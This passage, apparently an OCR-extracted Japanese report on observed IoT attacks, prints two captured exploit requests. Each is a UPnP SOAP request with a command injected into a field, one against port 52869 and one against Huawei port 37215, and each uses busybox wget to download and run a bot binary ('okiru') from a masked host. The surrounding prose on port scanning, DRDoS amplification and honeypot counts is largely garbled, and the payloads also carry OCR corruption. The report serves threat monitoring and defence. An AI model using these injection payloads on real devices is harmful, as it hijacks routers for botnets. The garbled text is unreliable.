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POST /picsdesc.xml HTTP/1.1

Host: ™™ 52869

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

SOAPAction:

urn:schemas-upnp-org:service: WANIPConnection:1#AddPortMapping
Content-Length: 637

<?xml version="1.0" ?>

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>

<w:AddPortMapping

xmlns:u="urn:schemas-upnp-org:service: WANIPConnection:1">
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>47450</NewExternalPort>
<NewProtocol>TCP</NewProtocol>
<NewlInternalPort>44382</NewlInternalPort>

<NewlInternalClient>

“cd /tmp/;/bin/busybox wget http:/ /™. /okiru.sh"
</NewInternalClient>

<NewEnabled>1</NewEnabled>
<NewPortMappingDescription>syncthing</NewPortMappingDescription>
<NewLeaseDuration>0</NewLeaseDuration>
</u:AddPortMapping>

</s:Body>

</s:Envelope>
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<?xml.version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service: WANPPPConnection:1">
<NewStatusURL>
$(busybox wget -g **.**.*** -] /tmp/rsh -r /okiru.mips;

chmod +x /tmp/rsh; /tmp/rsh)
</NewStatusURL>
<NewDownoadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>

[9: 37215/TCP SECTD_A TO— K (—#< A2 #H)

MEEFINEZRA - FEFEL 2 HE, Huawei
DT7a— KNV R)LV—RIzavxy R4z rvard
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MERENZ EAMIIH L £ Uz, MMM IR 0 KR
HMOMEgMETH 2 AREVED Eh o 72728, 11 A 30 Hi
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BY, HlE - WERZED TN L DOEEHIES N, B
12, Huawei #1755 BB OEM BB RFET N E L7z [25].
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37215/TCP (25Xt 2 55 2 MU, 12 A 5 HIiZ 40
FHARANEL ETAMT A -2 2R U, KELRED
LELE. LHAL, HICE > TEHEL WH DD 2018
£ 2 ABRETEZWERIE 1 HIZ 1 DR A N AEEE
NTHY, ShBURIEFP ML TWE .

4. DRDoS E D& AR

DRDoS %% (Distributed Reflection Denial of Service
Attack) &% DoS WHEBO—FTHY, 1 Z—2v ME
HTT 72 AMRER&EY — A (DNS ® NTP 72¥)
ZEALUTCHBNRIZKEDO ATy b2k ITEZ L
T, WENKOxY MU =7 @2 TELUY — 221
EFLHETT. HlZIE, DNS 2FfH L7~ DRDoS %
(DNS 7 v 7B L L IEN 5 ) D6, BEHFIT V&
—4v b ETTY 72 AW LD DNS ¥ — Nzt U
T, FEXIP 7 RV AZBENRIZFFML 72 DNS 7

*9. Product Security Incident Response Team D, i+t ¥ 2
V71 izBlb 2 HYEMAD—2T, MEOMFHIETICEAZHNE ZL
bHb.
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HUT—FIZEL DT oNry N — 7@z EEL £
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%1, DRDoS BB DR % B 5 21T U Rh SRy 7t
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L4L[FT, DRDoS B ZBH T 2 N=—Ky hThH 5
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o SMTIZFW AmpPot : BIRE K CERTA 7 5&

o DMK DY — ¥ X : CharGen (19/UDP), DNS
(53/UDP), NTP (123/UDP), SSDP (1900,/UDP)
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3, HARIHFIZ AmpPot THMI X 1172 DRDoS K%
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LIz EWT, AmpPot &R EHTH 800 i,
—H®720# 4.3 FEOBRBEZM#E L THHEILTWEL
7z, mHBEED L VDL DNS Y —NZ2REABIZL =
WEETH 526 A (—HB7= 0 2.9 ), FDIRIZE
WIHES NTP 3 — N2 AL 28T 255 I (—
Hd7=0% 1.4 7k TLE. ZOBHEERE»S, 1%
— 2w M ETIXREHIZ LS DRDoS WEIHEIZHKE
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